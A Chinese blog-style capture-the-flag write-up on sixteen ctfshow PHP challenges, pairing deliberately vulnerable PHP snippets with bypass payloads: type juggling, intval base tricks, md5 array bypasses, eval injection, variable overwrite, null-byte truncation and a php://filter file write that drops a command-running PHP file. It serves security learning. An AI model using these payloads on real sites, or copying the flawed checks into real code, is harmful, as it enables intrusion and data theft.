CTF php特性(上)

相关php代码性质的绕过与理解 以下代码出自于ctfshow

1.

include("flag.php"); 
highlight_file(__FILE__); 
if(isset($_GET['num'])){   
    $num = $_GET['num'];   
    if(preg_match("/[0-9]/", $num)){     
        die("no no no!");   
    }   
    if(intval($num)){     
        echo $flag;   
    } 
}

其中intval函数:获取整数值

不能出现0~9的数字,但是可以用空数组绕过 ?num[]=

2.

include("flag.php"); 
highlight_file(__FILE__); 
if(isset($_GET['num'])){   
    $num = $_GET['num'];   
    if($num==="4476"){     
        die("no no no!");   
    }   
    if(intval($num,0)===4476){     
        echo $flag;   
    }else{     
        echo intval($num,0);   
    } 
} 

intval($var,$base)

var必填,base可选,这里base=0,则表示根据var开始的数字决定使用的进制

而===表示数值和类型必须相等

所以可以考虑4476的八进制或十六进制绕过 ?num=010574 or ?num=0x117c

3.

show_source(__FILE__); 
include('flag.php'); 
$a=$_GET['cmd']; 
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){     
        echo 'hacker';   
    }else{     
        echo $flag;   
    } 
}else{   
    echo 'nonononono'; 
} 

结合代码可知 满足/^php$/im 且不满足 /^php$/i 才可以得到flag

'/im',这意味着i(忽略大小写)和m(多行模式)

所以可以多行去写这里就可以用到换行符了 %0a

?cmd = nb%0aphp

4.

include("flag.php"); 
highlight_file(__FILE__); 
if(isset($_GET['num'])){   
    $num = $_GET['num'];   
    if($num==4476){     
        die("no no no!");   
    }   
    if(intval($num,0)==4476){     
        echo $flag;   
    }else{     
        echo intval($num,0);   
    } 
}

同2. 进制绕过即可,题目写的是0即八进制,可以选择使用十六进制绕过

5.

include("flag.php"); 
highlight_file(__FILE__); 
if(isset($_GET['num'])){   
    $num = $_GET['num'];   
    if($num==4476){     
        die("no no no!");   
    }   
    if(preg_match("/[a-z]/i", $num)){     
        die("no no no!");   
    }   
    if(intval($num,0)==4476){     
        echo $flag;   
    }else{     
        echo intval($num,0);   
    } 
}

多加了字母过滤,可以直接八进制绕过

也可以使用小数绕过 ?num=4476.1 因为小数部分会被程序自动舍弃,所以无伤大雅完美绕过$num==4476的拦截

6.

include("flag.php"); 
highlight_file(__FILE__); 
if(isset($_GET['num'])){   
    $num = $_GET['num'];   
    if($num==="4476"){     
        die("no no no!");   
    }   
    if(preg_match("/[a-z]/i", $num)){     
        die("no no no!");   
    }   
    if(!strpos($num, "0")){     
        die("no no no!");   
    }   
    if(intval($num,0)===4476){     
        echo $flag;   
    } 
}

strpos(string,find,start)

string是被检查的字符串,find是要被搜索的字符串,start是开始检索的位置

题干加了!,说明是必须要有零的存在 所以直接?num=4476.0

7.

include("flag.php"); 
highlight_file(__FILE__); 
if(isset($_GET['num'])){   
    $num = $_GET['num'];   
    if($num==4476){     
        die("no no no!");   
    }   
    if(preg_match("/[a-z]|\./i", $num)){     
        die("no no no!!");   
    }   
    if(!strpos($num, "0")){     
        die("no no no!!!");   
    }   
    if(intval($num,0)===4476){    
        echo $flag; 
    }
}

多过滤了字母和小数点

所以不能小数绕过了,直接使用空格%20并且使用八进制绕过即可

?num=%20010574

8.

highlight_file(__FILE__);
if(isset($_GET['u'])){   
    if($_GET['u']=='flag.php'){  
        die("no no no");   
    }else{   
        highlight_file($_GET['u']);   
    } 
} 

只要不是只输入flag.php即可

?u=./flag.php秒了

用之前的filter伪协议加base64编码也可以

9.

include("flag.php"); 
highlight_file(__FILE__); 
if (isset($_POST['a']) and isset($_POST['b'])) { 
    if ($_POST['a'] != $_POST['b']) 
        if (md5($_POST['a']) === md5($_POST['b'])) 
            echo $flag; 
    else 
        print 'Wrong.'; 
} 

md5无法对数组加密,对数组加密返回的是null

所以使用POST请求 a[]=1&b[]=1

10.

include("flag.php"); 
$_GET?$_GET=&$_POST:'flag'; 
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 

说明要改两个地方 一个是cookie 一个是server

cookie增加 HTTP_FLAG=flag的值 满足cookie

url后缀随便玩 ?1

POST请求flag=flag 满足server

11.

highlight_file(__FILE__); 
include("ctfshow.php"); 
//flag in class ctfshow; 
$ctfshow = new ctfshow(); 
$v1=$_GET['v1']; 
$v2=$_GET['v2']; 
$v3=$_GET['v3']; 
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); 
if($v0){   
    if(!preg_match("/\;/", $v2)){     
        if(preg_match("/\;/", $v3)){       
            eval("$v2('ctfshow')$v3");   
        }
    }
} 

因为计算v0用的是和运算,所以只需要V1有数字即可

v2,v3可以不用提供数字

if语句中 v2不能有符号; v3可以有

eval函数 呈现拼接作用

/?v1=1&v2=print_r($ctfshow)/&v3=/; 注释即可

12.

highlight_file(__FILE__); 
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow(); 
$v1=$_GET['v1']; 
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); 
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){       
            eval("$v2('ctfshow')$v3");  
        }
    }
} 

v1仍然数字 v2,v3无碍

涉及到类 可以new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)

元数据对象(包含class的所有属性/方法的元数据信息)

?v1=1&v2=echo new ReflectionClass&v3=;

其中0x2d要替换成 -

而且还缺少最后一位,可以自己猜,也可以去爆破

13.

highlight_file(__FILE__); 
$v1 = $_POST['v1']; 
$v2 = $_GET['v2']; 
$v3 = $_GET['v3']; 
$v4 = is_numeric($v2) and is_numeric($v3); 
if($v4){   
    $s = substr($v2,2);   
    $str = call_user_func($v1,$s);   
    echo $str;   
    file_put_contents($v3,$str); 
} else{   
    die('hacker');
} 

substr($str,start,length) (其中length可以省略) 字符串截取

call_user_func($obj,$data) 调用方法或变量,第一个参数是调用的对象,第二个参数是被调用对象的参数

file_put_contents($file,$data) 用来写文件进去,第一个参数是文件名,第二个参数是需要写进文件中的内容 文件名支持伪协议

所以主要是利用file_put_contents()函数创建文件,文件中注入攻击代码

v3=php://filter/write=convert.base64-decode/resource=1.php 用伪协议base64编码

然后通过v2(查看源码)写入1.php内容

  1. <?=cat *;

  2. 转为base64为PD89YGNhdCAqYDs

  3. 转为16进制的ascii码为5044383959474e6864434171594473

  4. 绕过截断,在前面随意加两位数字225044383959474e6864434171594473

v1=hex2bin 将数字字符串还原为base64码.(十六进制字符转二进制字符)

POST请求: v1=hex2bin

GET请求: v2=225044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

14.

highlight_file(__FILE__); 
include('flag.php'); 
error_reporting(0); 
$error='你还想要flag嘛?'; 
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){ 
    if($key==='error'){
        die("what are you doing?!");  
    }   
    $$key=$$value; 
}
foreach($_POST as $key => $value){  
    if($value==='flag'){   
        die("what are you doing?!");
    } 
    $$key=$$value;
} 
if(!($_POST['flag']==$flag)){  
    die($error); 
} 
echo "your are good".$flag."\n"; 
die($suces); 

$$key = $$value可以类似于,将$key的地址指向$value

所以无论$b怎么改变值,$a的值都会和$b一样

die()函数虽然会终止程序,但同时也会输出括号内的终止提示信息

所以会通过$flag来替换$error,然后再die($error)来输出flag

先覆盖GET,再覆盖POST

GET请求 ?suces=flag

POST请求 error=suces

15.

highlight_file(__FILE__); 
error_reporting(0); 
include("flag.php"); 
if(isset($_POST['v1'])){   
    $v1 = $_POST['v1'];   
    $v3 = $_GET['v3'];    
    parse_str($v1,$v2);    
    if($v2['flag']==md5($v3)){      
        echo $flag;    
    } 
} 

对于md5之前提到过 直接v3[]=1即可

parse_str($v1,$v2),则会将v1解析后,放到v2变量里面。

所以只要满足v2=md5的v3即可

POST请求v1=v2

GET请求?v3[]=1

16.

highlight_file(__FILE__); 
error_reporting(0); 
include("flag.php"); 
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {   
    die('error'); } 
//只有36d的人才能看到flag 
if(intval(strrev($_GET['c']))==0x36d){   
    echo $flag; 
} 

ereg正则匹配,需要字母开头或结尾

strrev逆序倒置

0x36d为16进制数,十进制为877

需要字母开头或结尾

所以可以写为877a,因为是==弱比较,可以等同于877

逆序后为a778,直接读取不行,需要加一个截断%00,截断的意思就是读到%00就不读了

GET请求:?c=a%00778

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值